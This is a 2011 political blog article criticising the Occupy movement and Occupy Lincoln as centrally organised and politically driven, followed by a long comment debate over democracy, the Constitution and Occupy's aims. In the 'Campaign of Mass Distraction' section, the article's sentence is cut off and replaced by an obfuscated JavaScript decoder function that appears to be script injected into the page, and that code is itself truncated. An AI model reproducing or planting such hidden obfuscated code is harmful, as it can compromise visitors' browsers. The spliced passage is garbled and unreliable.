As I mentioned in our last article about the Occupy movement, I’m aware that a lot of people observing it, especially locally, dismiss those involved, labeling all the participants as “a bunch of dumb kids” who are incoherent and "don't even know why they are protesting". Even people who think the occupation of public property is wrong and their City's sanctioning of it, irresponsible, still think those "dumb kids" are going home as soon as the weather gets really cold. There's growing evidence this assessment is seriously mistaken and potentially dangerous.
Oh, and that's not to mention the precedent set by turning rule of law on its head. (But why should that bother anyone?)
Spontaneous or well coordinated?
This "bunch of dumb kids" seem to have been incredibly well organized "spontaneously" for an indefinite siege. For an "incoherent" bunch, the rhetoric from organizers seems particularly fine-tuned in several important respects; groups' governance strikingly similar (General Assembly, working groups / committees); their ability to establish a foothold, extremely effective; creepy "facilitators" command and control styles, bizarrely uniform across the country.
Daily Kos' Occupy Events Map As of November 1, 2011 (click to view on site, larger)
Each Occupy encampment on a local level has some number of serious political types who seem to be working directly with the original engineers of the whole Occupy movement. They are the organizers, the "facilitators". These "facilitators" seemed to know, from the jump, something (or someone) the rest of us missed regarding City ordinances. And the vast majority of local governments somehow, interestingly, missed, for days and days, tents pitched in parks or elsewhere in cities where long-standing ordinances prohibit camping, when usually, unlawful squatting would provoke a fairly swift response. (Ever driven a mile with a tail light out in Lincoln late at night? I was stopped TWICE on Fremont St. between 48th & 70th Streets a few years ago and the second officer radioed head to another officer so I wouldn't be stopped again before I reached home.)
Whether City governments are sympathetic or just hoping the groups will tire and go home, it seems the majority have waited just long enough to allow the groups to become entrenched. To augment the help some have received from "the top", they establish non-profit status and now accept cash donations, receive assistance from local businesses, and amass larger numbers.
Another commonality is that when a City finally decides to enforce the law, rather than studying the available information about the groups (especially their dialogue on Facebook and in video streaming chat rooms), targeting likely troublemakers first, it's likely the number of classes would be significantly reduced, which would avoid an increasing number of ugly confrontations. Images of police shooting tear gas and rubber bullets, with the inevitable vomiting, welts and bloody gashes, has a potential for evoking sympathy for the troublemakers.
But as columnist Manny Lopez pointed out in his November 4 article "Occupy violence a predictable end"[1. As of May, 2012, Manny Lopez's article has been removed from the Detroit News' archives, so I cannot, unfortunately, provide a link. Here is the original link, however: http://detnews.com/article/20111104/OPINION03/111040327/Occupy-violence-a-predictable-end#ixzz1d3LK1GG3]:
"For this movement to remain relevant — especially given that it has no agenda or any realistic goals — eventually someone has to get arrested.
Why? Because even the mainstream media, which has sympathetically covered every sneeze and wheeze coming out of these camps, will get bored with the signs and the songs (though based on the promotional coverage it's hard to say when this might happen).
Arrests and violence bring news reporters and cameras back in to the fold. They reinvigorate the angst. Few things rile up the wandering masses like an attack by 'the man.'"
So, the outcome is predictable, the perfect set up for trouble is obvious. A die-hard contingent will not go home quietly if ousted and/or they will continue to up the ante.
And these groups signaled, from the beginning, through their intentions, their name, and their rhetoric that they were not intending to necessarily remain peaceful.
Rhetoric
The Occupiers want to eat the rich - they're hungry, they say. But they just want to eat 1% of their fellow Americans. That's all.
That seems a little bit like, "If you're not a kulak, you've got nothing to worry about[1. For those not familiar with the name "kulak", it seems an important one to learn. In the early days of the Soviet Union, kulaks were the higher income farmers who had more land and wealth than the peasants. Like the present debate about "eating the rich" - "the 1%", there were not all that many kulaks.]." It's not too much to worry about, unless the folks who say they are so hungry get some power and start widening their definition of a kulak, which is exactly what happened in the Soviet Union. Pretty soon, anyone whom the hungry folks don't like is a kulak. But it must first start with the demonization of a group that is small in number and easy to hate.
That's just one reason class warfare is dangerous. Another is the character of the movement itself, conveyed by the name.
Look at the name of the movement: "Occupy______". Just what does that imply?
The word "occupy" actually has martial (military) implications.
Definition of the word "occupy":
1. : to engage the attention or energies of
2. a : to take up (a place or extent in space) <this chair is occupied> <the fireplace will occupy this corner of the room>
b : to take or fill (an extent in time) <the hobby occupies all of my free time>
3. a : to take or hold possession or control of <enemy troops occupied the ridge> b : to fill or perform the functions of (an office or position)
4. : to reside in as an owner or tenant
An occupation in the military sense:
a : the act or process of taking possession of a place or area : seizure
b : the holding and control of an area by a foreign military force
c : the military force occupying a country or the policies carried out by it
Are the squatters on Wall Street or the residents of Shanty Town Lincoln intending to just get peoples' attention, to take up, to fill?
What typically is the purpose of an occupation?
Of course, typically, and it is now clear, in this case, it is to take hold of a piece of land and stay put, until their demands are met or their goals are achieved. (But just what are those demands and goals? That's the troubling question.)
Liberal Fascism - click to read more
Participants think they are entitled to lay siege to public property for as long as they like. I actually had some "conversation" with some Nashville Occupiers in an online chat room, for the express purpose of understanding just how common certain traits in different groups might be.
While several of the people were quite polite and interested in engaging in a serious debate, the sense of entitlement was palatable. When I questioned why other groups were required to abide by permit requirements and ordinances when they conducted their events, but in the majority of cities, the Occupiers were not, I was pointedly informed, that groups like the tea parties were just holding rallies, but Occupy is a political movement.
Command and control "facilitators"
Interestingly, my attempts to challenge such a statement were obstructed by the new forum moderator who had just come on duty. I was informed that the chat was not for questions, debates, or mentions of political parties; it was for supporting the movement and encouraging participants. This censure was accompanied, each time it occurred (I don't listen very well, I guess) with a keyboard smiley :) which reminded me of what author Jonah Goldberg has called "fascism with smile".
And there has apparently been some effort by the fellow who appears to be the key organizer here in Lincoln to lock down some of the discourse and to commandeer the group's Facebook page. After peoples' posts kept mysteriously disappearing, the creator of the Facebook page became angry and deleted most of the other administrators, but Justin Tolson, Political Science Major at UNL, either quickly re-established or never lost his access. Justin explained to those who dissented about the new centralized control of the page, that it was not censorship; it was for the good of all the 99% to reduce the amount of input.
Occupier Brian, who clearly believes in some kind of representative government (General Assembly is supposed to be the group's governance), challenged the Facebook takeover. Note how Political Science Major Justin didn't really answer Brian's question regarding how the decision was made.
As New York Magazine's Alex Klein stated in his positively hilarious October 20th article:
"All occupiers are equal — but some occupiers are more equal than others."[2. Alex Klein is referencing George Orwell's book Animal Farm, which details how pigs lead a revolt and take over of a farm and employ their political philosophy of "animalism". Governance begins with rules, including one that states "All animals are equal", until the power corrupts the ruling class of pigs, who eventually move to a single rule: "All animals are equal, but some animals are more equal than others."]
Klein's article, "The Organizers vs. the Organized in Zuccotti Park", is well worth the read, if for no other reason than it is incredibly entertaining. More importantly, it is very instructive. Klein details events at the park which are "the anatomy of a commune". Perhaps parents with young adults who are in any way sympathetic to this movement, age 16 - 25, should just ship their kids off to one of these Occupy encampments for a few weeks (if it weren't for the reports of rapes, etc.). Youngsters would learn in that period of time just what happens to "leaderless movements / collectives".
Occupy Wall Street is a month ahead of the rest of these groups. So, just how is that whole direct democracy thing working out? Klein reported:
"In response to dissatisfaction with the consensus General Assembly, many facilitators have adopted a new 'spokescouncil' model, which allows each working group to act independently without securing the will of the collective. 'This streamlines it,' argued Zonkers. 'The GA is unwieldy, cumbersome, and redundant.'"
Hmm. Smells like a power grab - whoddathunkit?
A comparison of other Occupy Wall Street events, detailed in the New York Magazine article, to Occupy Lincoln's Facebook dialogue reveals many of the same - inevitable - issues have reared their heads. Wall Street "facilitators" in their "button-down shirts", and Lincoln's Political Science Major Justin, respond in similar ways.
Organizers, Organized, Occupiers ---> Same Thing?
Wall Street Facilitators stated to Klein that there were some pesky, "silly kids", panhandlers, and hangers-on among the group (shocker!). Some homeless folks latched on here in Lincoln. The difference? In Lincoln, the LPD is far more accommodating, so the Lincoln group called the LPD. And a discussion of the whole episode revealed yet another phenomenon that seems prevalent among various Occupy groups; some "facilitators" aren't really Occupiers, they're truly just organizers. One former camper, Allen, generally fed up, had this comment for Justin:
"Perhaps if you were actually living down there, especially after this last weekend, Justin, you would have an entirely different perspective than the few hours of GA Sunday and popping in here and there."
But it isn't just the organizers who aren't really camping - another common trait of encampments is - many of them aren't really even all that occupied. At least not by a whole lot of people - tents are being used to create that impression.
In a recent visit by dark to the Centennial Mall, it seemed to myself and those whom I accompanied that the majority of the tents (40 - 50 about a week and a half ago) were empty.
It doesn't seem the majority of supporters or the "front men facilitators" are even sleeping in the tents. The majority may visit Shanty Town Lincoln (or any other tent Shanty Town encampment) for the Saturday marches or attend the "General Assembly" meetings. (In Lincoln, the meetings are on Wednesday, and Sunday, respectively.)
While there has been widespread speculation about largely vacant tents in many localities, thermal imaging scans in London proved the case there. Despite the rapid deployment of spin meisters to refute the imaging as "junk science", many organizers have confirmed that there are empty tents, that people rotate from one camp to another in cities where there are multiple encampments, and that people come and go.
Translation: the tents are being used as placeholders. See the Occupy Lincoln Facebook comment by James. Is that a Freudian slip that he mentioned tents before people as forms of free speech? (Note: I am glad that James is clearly be an advocate of non-violence.)
Nov. 2 Comment By Occupy Lincoln Facebook Admin James: "SO LONG AS MONEY IS FREE SPEECH TENS AND HUMANS CAN BE TOO"
But besides some tents, who are the actual human "Occupiers"?
As noted, they don't seem to constitute the majority of supporters. While it's always difficult to categorize the sentiments of any large group of people, especially groups spread across the whole country, in this case, it does seem the majority are involved in Occupy because of general anger about the economy. A good many of them are young adults, mostly college students who don't know history and who don't have critical thinking skills, but they do have a sense of entitlement. (A sense of entitlement and lack of actual responsibility are required for a twenty year old with a smart phone in their $100 jeans pocket and a $500 iPad in their leather backpack to point at "the rich" and complain.)
The rest of the majority are adults, many of whom actually have jobs. Whether it is "underemployment", inflation's pinch, or some other frustration, part of the reason they are attracted to the movement may be due to their traditional political affiliation, which some polling data reveals is Democratic.
Whether they are the young or the old, however, obviously, this largest group of people are not thinking all of the issues out to their logical conclusions, are missing information, or are so traditionally aligned with the Democratic Party, at this point they simply cannot hear or see a broader perspective. They decided to aim their ire at Wall Street and the corporations - because their party has been fomenting such rhetoric for some time and the Occupy is "doing something about it", right now.
Occupy Lincoln Tent: "International Socialist Organization Lincoln" (written in black marker)
There are two other groups of people involved in this movement which are actually key cause for concern. They are most certainly not confused about why they are involved in these occupations. One segment of this coherent and committed contingent are serious Progressives who see an opportunity to wage class warfare for political purposes that are expedient to the Democratic agenda and especially to President Obama's re-election. The remainder of the committed contingent are Marxists, communists, and anarchists who see an opportunity for fomenting chaos that leads to overthrow of the system. They want revolution (no, I'm not kidding). Just how many Progressives, Marxists, communists, and anarchists exist in each group depends upon the individual city. In larger urban areas like New York; Oakland, California; or Austin, Texas, there are a larger number. In Lincoln, there seem to be a handful.
Sign on a tent at the Occupy Lincoln encampment
Campaign of Mass Distraction
The primary purpose of this entire effort was to provide a major distraction from the state of the economy. Barack Obama's policies, like FDR's following Hoover's have taken years of ballooning government / overspending, preliminary redistribution of failure via function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
There's an election coming up and quite obviously, Obama's numbers don't look good. By launching an answer to the Tea Party, Democrat-style, the class warfare drumbeat, getting louder throughout Obama's term, can be pounded, loudly and angrily. And propelling a bunch of angry youngsters into fomenting a bit of civil unrest, knowing this sort of group will actually provoke police, has the potential for evoking sympathy for the protestors, such as when a war veteran is portrayed as victime when he gets a gash in because he stands too close to police when they deployed tear gas.
Article with many links: "Occupy Wall Street Is Obama's Astroturf Left Flank" (click to read)
Those '60's dippy hippies may have been free-lovin', mellow doobie-smokers for the most part, but there were just enough agitators among them to keep the thing hard-edged. And ultimately, wasn't it effective? It launched an entire movement of professional-agitators-turned-community-organizers, many of whom are today's elected officials. As instructed by Sal Alinsky, they launched their dippy hippie selves or were inspired by them, and worked their way into positions of power all over the country.
Come to think of it, there are at least two locations in the country actually occupied by the organizer / "faciliator" types; the White House and the Chicago Mayor's Office, to just name two.
The Progressive politicos, working with the Marxists, communists, and anarchists constitute the politically religious, the radical element that is working to pull debate, and public policy, as far left as possible. Heck, compared to the Occupiers, Obama looks reasonable. It's easy to get the point of the whole thing when viewed in such terms, isn't it?
The problem is, the true believers - the religiously committed - are prepared for, at minimum, civil disobedience, and, if necessary, violence. Trouble is, such folks can be a bit hard to control. This campaign of mass distraction is, of course, the worst kind of demagoguery - incredibly irresponsible. While the political hacks amuse themselves with their distraction ploy, they apparently don't give a darn what they have set off. Since City governments all over the country, including that of Lincoln, they are aiding and abetting the unlawful encampments. This allows embedded organizers and true believers to rut in, garner support, and make future plans. And they are setting up confrontations all over the country.
So, since Lincoln’s city attorney and the LPD have agreed it is legal to camp on whatever city property one wants, and to hold parades and marches on whatever city sidewalks one desires at any time one likes, can we expect this to be a solution for the perennial budget and space problems at the city mission?
When the mission runs out of space for guests, (I hear from the radio this happens with some regularity)rather than expanding their current facility (very expensive), why couldn’t the mission just issue tents and propane heaters (comparatively frugal)to those homeless needing help, and send them on a march to “occupy” whatever city property strikes their fancy? If necessary, they can be issued signs with political slogans to legitimize their occupation.
It is an elegant solution: The mission can serve more people at a much reduced expense, and – since the homeless are clearly not of the 1%, they must be part of the 99% – the city attorney, city council, the mayor and the “public safety” director can expand their mission of selectively enforcing the law. They can become equal-opportunity unenforcers, if you will.
Incidentally, a recent glance at my checking account confirms that I don’t belong to the “1%” group either, yet somehow I don’t feel represented by the Occupy movement.
I wonder why that is?
You have again illuminated so much of what our Nebraska media either doesn’t care to grasp or can’t. I will say that I know a couple people with the OL movement; one a solid-headed college student and the other, a very pro-life Mom. I don’t want to demonize them or others like them by lumping them all in as uninformed. I think you cover that in your statement about the radicals paving the way. The interaction between Justin, the young man who wants to do acts of civil disobedience (and did, over the weekend) and the older man, Allen, who dumped out of the encampment to go to a protest in DC against the pipeline, is very instructive. Allen, after putting up with conditions and experiences less than pleasant down at the camp; chides Justin for not living there and then says he’s had enough of it and is off to the cause really dear to his heart, the pipeline. The enviro activists in our State successfully co-opted the OL encampment from the beginning and according to one pipeline fighter/OL person, she and others of OL were in DC for the White House protest this past weekend. Now how does everyone just manage to pick up and have the money to fly to DC and stay there. Hmm…can you say enviro bucks, much the same that Union bucks are buying tents for Occupy? It’s all a tangled web and very interesting to watch from the outside if you are a political observer. However, I agree, the majority of Lincoln at least is dismissing the happy campers. In the meantime, they set precedent and ordinances are being stretched to accomodate their demand that they are special and deserve to squat indefinitely where none have been allowed to do so before.
I cannot believe that Mayor Suttle has allowed this Commie organization the access of a ‘one a week’ meeting with them. The mission statement is a bunch of, Demands.
Why try to analyze them? What they are is so obvious and even predicted. Rush Limbaugh predicted this would happen when the ‘Arab Spring’ was spreading.
The Tea Party intends to take not of those who either side with these socialist Commies, or try to give them some kind of validation. They are not upset with government in so much as they are scared that liberalism and socialism could be pushed over a cliff and to obscurity.
The facts are clear. What they want only leads to only one thing. Increased taxes, Increased size of government and a socialized or Communist Government here in the USA.
Jim Mason,
When you say “The Tea Party intends…”, can you clarify for us to whom exactly you are referring when you use the phrase “the Tea Party”? And can you further enlighten us as to why you presume to assume yourself a spokesman for a non-existent “party”? Inquiring minds want to know.
Sorry, too upset to type correctly. What the OWS is, is the worst within this nation.
Anyone who subscribes to ‘Moveon.org’ can get their operating procedures on how to take over the parks or other rally areas and how to keep them and procedures in case of arrest to interviews.
Spin it any way you like it, but here are some of the main things that all occupyers and their supporters have in common. They are for restoring our democracy and making it so that the average person has just as much say in our government as big corporations. They want to make people aware of the increasing income disparity, and to increase taxes on the people who can afford it. They are absolutely not happy with the way Obama bailed out big banks, and they want the bankers to be accountable for the way they ruined our economy. They want campain finance reform, so that politicians don’t have the need to return favors to people who help get them elected. They want to address the way those with money can lobby the government and get laws passed soley because of their money and connections. I don’t think any of this sounds so bad.
Ryan,
Thanks for stopping by the site and taking the time to comment even though you were aware we weren’t likely to agree.
What you’ve read here is not spin; it’s unfortunate that in your quest to advocate you were unable, when reading, to recognize an effort to accurately characterize the movement.
Regarding “restoring democracy” I say NO THANK YOU, Occupy movement, and in fact you cannot restore something that was never intended to exist here in the United States of America. In order to understand the construction of our form of government it demands a study of the document – the Constitution – the context of the period and the primary source information that informs an understanding.
We have a REPUBLIC, not a democracy. A study of the aforementioned results in one conclusion: Democracy is NOT GOOD, it is mob rule and has been historically proven to fail, ending in tyranny and despotism, NOT secure liberty.
You all may not like the Constitution but it is the law of the land. However, our Constitution provides for representation and means by which to alter the document. If you would like to change our system from Republic to Democracy, use the available orderly methods to do so.
Occupy as a movement has decided, as I noted in the article, that the LAW does not apply to it, which is not order, it’s chaos. I would like someone who supports this movement to step forward and in a logical, rational way explain why MOB RULE and seizure of public property – which is paid for by taxpayers – is any better than redistributing favor through bailouts?
How does expecting special and different treatment of the Occupy groups substantially differ from companies who expect special and different treatment?
How does taking something by seizure and force differ from taking something by greasing government’s wheels with money?
Rule of law is vital in a republic. IT SHOULD APPLY EQUALLY TO ALL.
Unfortunately, Occupy has lost all credibility because it expects special favors from government, too. There ARE some of us in America who do not think it is right that too many of our politicians are spending their time not answering to their constituents, but to the people who make large campaign contributions. We don’t need a group of unlawful squatters who act like they can do whatever they want to “make people aware”. It is actually incredibly ineffective and ensures that such people will totally discard any message that is attempting to be sent.
“They want to make people aware of the increasing income disparity, and to increase taxes on the people who can afford it.”
PLEASE tell me, what percentage of income do you think people can “afford”? What percentage of income do you think people should be allowed to keep?
Who do you all think set the table for the economic meltdown?
Who wrote the tax codes?
Who got themselves special mortgages and appointed their cronies?
Who devised the existing campaign finance laws?
You can’t abridge peoples’ right to free speech.
Ever hear of the phrase…
The more plans fail the more the planners plan?
I know! Let’s just get some MORE laws, MORE planners, BETTER planners, and MORE plans!!!! That’ll do it! Yeah!
WAKE UP OCCUPY MOVEMENT!
You may not think any of this sounds “so bad”, well so be it. I can tell you right now, none of what you’re proposing here is going to fix any of the things you’re complaining about.
All you folks are asking is for more government, more power to the planners who set up all this mess.
Time to deal with REALITY boys and girls. LIMIT the size, scope, reach, and power of government so that the corrupt do not use it as a way to pay off their cronies, funnel money to themselves, and construct all sorts of mechanisms to protect the elite ruling class.
You want to fix these messes? Take some personal responsibility, look in the mirror, ask yourselves how much power you want to hand to the very people you think are going to fix this mess by asking for help and bailouts of your own (i.e. student loan forgiveness). You all can pull the rug out from under the mess makers anytime you like.
But first why don’t you all try obeying the law. Go home. Read a history book and decide what kind of people you want to represent you in our republican government. Clear out the bad boys who want to use government as their personal power and money slush funds. Don’t ask for giveaways. Take care of yourselves.
None of THAT sounds so bad…now does it?
Ryan,
You seem like a reasonable guy with his heart in the right place. We are actually in agreement on a number of the problems you identify, but you appear to be suffering from an information deficit, and derailed logic syndrome as well.
First of all, the kinds of problems you are concerned about cannot be solved by emotional reaction, but can be resolved through a reasoned approach, informed by history and supplemented by a thoughtful assessment of the tools provided us to deal with such problems, tools defined within our founding documents that establish our form of government as a CONSTITUTIONAL REPUBLIC, not a democracy.
Let’s say you get what you want, democratic rule by majority vote. That would mean here in Lincoln for example, the majority of citizens could simply vote to disband your little squatter city, and have you arrested if you attempt to spread your nonsense by marching on public streets and sidewalks. End of OccupyLincoln.
But you see, in our CONSTITUTIONAL REPUBLIC your right to free speech is acknowledged as originating with God, and therefore you are protected under the Constitution from having that right taken from you by majority vote.
Make no mistake, individual rights are always violated under “democracy”, because they are always subject to the whims of the mob.
Second, neither am I happy with the way big banks were bailed out. That action started with President Bush and was carried out by his treasury secretary, Paulson. Some banks that did not want to accept those bailout funds were forced to do so under threat of government sanctions if they refused. But if you are convinced that Obama is at fault for that, it would seem sensible by following your kind of reasoning, to “Occupy” Pennsylvania Avenue (that’s where Obama – the 1%er-in-Chief – lives).
Finally, in addition to all of Shelli’s excellent points, if you are upset about politicians selling influence for money, when you demonstrate against that, are you aware that one of the biggest sources by far of “money for favors” is union contributions to campaigns? Why don’t you focus on removing those individuals from their union offices, and those politicians from their political offices, and replacing them with more ethical individuals, such as yourself perhaps, whose principles cannot be bought?
Of course this would mean you and your ilk(kind)would have to do some real work to educate yourselves on the issues and problems you are pouting about, learn their causes, and propose some actual solutions that would not trample other peoples’ rights in the process. Slogans and signs will not do the trick.
Given your narrow and outdated definition of democracy you are right, we have a republic. However we have a democratically elected republic. But this is just a word game, we both know what we have. The main thing is that we expect our government to be one that is elected by the people and that works for the people.
However, this is not what we have. Our government works more for corporate lobbyists, political campaign contributors, special interest groups and others with enough money to influence it. No one (that I’ve met) is advocating mob rule. We simply want government to work for the people.
It’s odd that you would accuse me of not liking the constitution, especially when the first amendment is about the freedom of speech, which is what the occupations are all about. The media worked so hard to prevent our freedom of speech at first, that there was nearly a month that went by before anybody heard that the Wall Street protests were going on. Then the media tried to portray us as something that no one would want to associate themselves with. Your post isn’t as bad as other descriptions that I’ve read/heard, but you do accuse us of wanting handouts and taking things by seizure and force. Some of the occupiers do want public education through college and forgiveness of student loans, but it’s a side issue, and we aren’t all in agreement on that. The majority aren’t communists or anarchists.
The occupations make the news. That assures that voices are heard, and that the news media can’t ignore them. Since the occupations began, the media has finally felt the need to change some, and have been producing stories about the income disparity in our country. Also, I doubt this: http://www.cbsnews.com/video/watch/?id=7387331n would have aired if it wasn’t for the support that the occupiers have gained. I also wonder if it isn’t what inspired this study: http://www.ted.com/talks/richard_wilkinson.html . If it weren’t for the occupations, I wonder if Bill Moyers would have given this incredible speech: http://www.huffingtonpost.com/bill-moyers/occupy-wall-street_b_1071288.html I could go on and on.
There are so many well respected people that are in support of this movement that would have never heard about it if the mainstream media was successful in their attempts to suppress the coverage of it, and without peaceful civil disobedience this wouldn’t have happened.
The mainstream media and their partners can pay for all the “free” speech they want. Low wage workers and those looking for work, don’t have this luxury. They only have their voice and their person, and they are doing the best they can.
It’s good to see you say this: “There ARE some of us in America who do not think it is right that too many of our politicians are spending their time not answering to their constituents, but to the people who make large campaign contributions”, though, apparently you or the people you care about haven’t been affected much by this, because if that were so I doubt you would care that the occupiers are seen by some to be just a bunch of squatters.
We don’t necessarily want more government, we want a government that is not corrupt. We want laws and regulations that are sensible. For example, regulations that could have prevented the subprime mortgage disaster would have been common sense and easy to enforce.
The low income workers in this country probably work harder than the wealthy, yet many can’t afford health insurance, and some can’t even buy enough food to eat. Do you really think they can afford to pay more taxes? It’s true that they often don’t pay any income taxes at all, but that’s because they can’t. While you are up in arms about having your tax rates raised, there are people who are wondering how they are going to pay to fix their car so that they can drive to work or to job interviews, or how they are going to pay for necessities like food.
If you’re a business owner and hire cheap labor, the only reason you can do this is because the lack of jobs in our country has caused a lot of people to be willing to work at slave wages. If things were different, you would have to pay people more and your profits would be completely different. Knowing this, do you really think you’ve earned your fair share in comparison to the people that you employ?
I don’t know the answers to all your questions, like who wrote the tax codes, etc. This isn’t a Democratic Party convention. There are republicans involved, even evangelical Christian republicans.
We don’t need to limit the size and reach of government near as much as we need to stop those who are fiddling around with it to benefit themselves. We have to have government, laws, regulations etc., or yes, we will have chaos, as we have seen with the lack of proper regulation of the banking sector.
Ryan,
Could you provide us all with the modern, up-to-date definition of democracy you are using, as well as your source for that definition? It would be helpful to the discussion if some of us were not making up our own definitions while the rest of us are following established common usage.
The source for my definition of democracy is Webster’s Dictionary.
The definition of republic is also in there. You can look it up.
Notice the commonalities and the differences between the two terms. They are important for an informed discussion of the issue.
Very well said ‘Stubborn’, And Occupier Ryan, those issues you mentioned are just covering and you should recognize that. Anyone believing that OWS was created because of those issues is fooling themselves, but that is how the liberals are only able to exist. By not telling or using the truth. What do you call that anyway?
You know the biggest problem in the ideas of extreme-Constitutionalism that calls for this ideal of a Republic is really a call to fascism whether you realize it or not.
Our government is a representative democracy – a republic empowered by voice of democracy of the voting populous.
What you want to see happen is not a purity of this ideal but one where where the shots are called by a ruling class and purge the system of the “not as smart or enlightened as we”.
You seeks to strip the constitution of its conscience and built in protections of the 1st Amendment which states we have a right to collectively move on the government with our voices, press, assemblies. You would like the revision to limit this capability to only those who agree with your definitions.
Sovereignty lies within the people, not a class, not an ideology, not a bank account.
Instead of discourse, you’d rather silence dissent removing the effectual checks and balances that protect the Constitution from corruption and totalitarianism.
I agree with my Conservative and Tea Party friends 80%, it is the last 20% of the ultra-right that scares the hell out of me of the ultra-patriot and modern constitutionalists among them who desire to silence any voice that doesn’t agree with them. The constitutions protects us from them.
Saying that though the extreme-left and the extreme-right are both moving us in that direction making it possible for someone of such totalitarian and fascist ideals to take the White house. The 4th amendment is neutered, the 1st amend is under assault, the 2nd amend isn’t too far off. When are we going to wake up and realize polarized ideology is going to irrecoverably destroy this country. The truth isn’t found in the extremes, it is in the middle where they overlap.
“You keep saying that. I don’t think it means what you think it means.” Great movie, The Princess Bride.
Jim Goodman, it is not clear from your post what you mean by “extreme-Constitutionalism”. It is clear you should get a good dictionary and become familiar with its use. If I understand you correctly, you favor the 1st, 2nd, and 4th amendments to the Constitution. Does this then make those who might favor adherence to the other amendments or even – gasp! – the whole document, extremists in your view?
I ask the question because the problem with your salad-bar approach to the Constitution is there are many who would count support of those very amendments you seem to favor as extreme, from their point of view.
So then, who gets to decide which parts to keep, and which to ignore? Does it change depending on the outcome of elections every other year?
See, the whole purpose of the Bill of Rights is to keep that very thing from happening. It’s important to understand why our founders established our form of government as a constitutional republic, and not a democracy, and not a constitutional democracy.
If you will take the trouble to do a little reading, the Federalist Papers are an excellent source material for understanding these distinctions, as well as the rationale for the form of government our founding citizens ultimately chose for themselves, having lived under and thrown off an unjust government, as the best way to protect themselves from future tyrannies of men of unrestrained ambitions, and from a “tyranny of the majority” into which all democracies ultimately descend. Try to remember in your research, it is important to understand why things are put together the way they are and how they are intended to function, before you begin dismantling them to introduce a “new and improved” version. Leftover parts? Oh well, probably not important.
Finally, did you notice I was able to address some of the points you made, provide some counter points, and support those points, all without projecting any evil motives or malicious intents on to you, or presuming to tell you what you “really” believe?
Try that.
Someone’s bitter the Tea Party is over… Womp, womp, womp… Victory for the working class or bust!